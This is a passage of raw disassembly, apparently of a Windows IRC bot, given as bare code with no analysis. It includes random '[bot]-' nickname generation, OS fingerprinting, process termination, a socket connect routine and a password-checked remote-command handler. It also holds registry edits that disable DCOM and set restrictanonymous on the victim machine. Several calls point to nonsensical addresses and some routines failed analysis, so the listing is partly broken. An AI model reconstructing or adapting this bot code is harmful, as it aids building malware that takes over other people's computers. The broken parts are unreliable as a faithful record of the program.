		call	sub_40D679
		add	esp, 14h

loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_432ED0
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------

loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_432E98

loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2720561h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27D0B3Ah
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26319EBh

loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4407FC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D3h
		nop

loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43ACF4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43AD2C
		push	eax
		push	offset dword_432FFC
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26102D3h

loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------

loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0

loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_436EDC
		push	dword ptr [esi]
		call	dword_43ADE8
		cmp	dword_4CD77C, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D3h
		nop

loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432FB0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_432F74
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		call	near ptr 26102D3h
		nop

loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432F3C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26102D3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]

loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------

loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_433038
		call	sub_40BFE1
		pop	ecx

loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------

loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax

loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_433070
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43AD10h, 0C63BF633h, 68501D74h
		dd 433234h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 6CE89057h, 57021FABh, 41598C68h, 8DE89000h, 85023CA8h
		dd 902975C0h, 23ABA2E8h, 0E4685002h, 0E8004331h, 0FFFF6859h
		dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 34E85759h, 90021FABh
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h,	15FF5350h
		dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h
		dd 850FC085h, 103h, 43319868h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh
		dd 8D500043h, 0FFFBEC85h, 314468FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 0E8905056h, 226B1CAh,	69B84D8Bh
		dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 21FB641h, 18E8EDEBh,	900223AAh
		dd 30F86850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43AD2Ch, 0EC858D50h,	68FFFFFBh, 4330B4h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0AE3015FFh
		dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h
		dd 59000016h, 48E89056h, 5B021FA9h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_433280o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF

loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9

loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37

loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21

loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2610763h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4332DC
		push	eax
		push	esi
		call	near ptr 27C0000h
		nop
		movsx	eax, byte_4332DC
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx

loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx

loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx

loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9

loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3

loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 27E039Eh
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4332E0
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E

loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28

loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_436EDC
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 2791295h
		call	near ptr 2610763h
		nop
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"

loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4332EC
		jz	short loc_415C14

loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC

loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4332E4
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58

loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32

loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2610763h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415C96
		mov	eax, offset byte_436EDC

loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_4332F0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------

loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415CC1
		mov	eax, offset byte_436EDC

loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h

loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43327C

loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------

loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4332E0
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------

loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_433280[eax*4]
		pop	ecx

loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4407FC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43AE24
		push	eax
		mov	edi, offset dword_4CD784
		push	offset unk_4332FC
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h

loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43AE30
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E0o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h
		dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	4405F005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 0E7E89057h, 3B0226ABh, 0FC4589C7h, 7D390B74h, 6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 0BB11E890h, 0B3FF0221h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh,	8458950h
		dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------

loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC

loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26102D3h
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43AE68, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_4336E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_4336A4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------

loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_433678

loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_416026
; ---------------------------------------------------------------------------

loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416095
		push	offset unk_4335D8
		jmp	short loc_41609A
; ---------------------------------------------------------------------------

loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_433594

